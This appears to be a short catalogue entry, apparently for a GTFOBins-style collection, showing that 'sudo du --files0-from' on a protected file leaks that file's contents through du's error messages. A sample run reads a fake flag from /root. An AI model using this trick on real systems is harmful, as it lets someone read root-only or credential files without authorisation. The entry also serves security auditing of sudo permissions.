Add du#586
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Example: $ cat /root/flag.txt
cat: /root/flag.txt: Permission denied
$ sudo du --files0-from=/root/flag.txt
du: cannot access 'Successful arbitrary file read. FLAG{HERE_IS_A_FAKE_FLAG}'$'\n': No such file or directory |
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duis a standard coreutils utility for estimating file space usage, commonly available on all Unix-like systems.The
--files0-fromoption reads a NUL-delimited list of file paths from a specified file. Each entry is stat'd and measured. Non-existent paths are emitted as error messages to stderr, leaking each line of the input file.Content is leaked via stderr error messages of the form
du: cannot access '<file contents>': No such file or directory.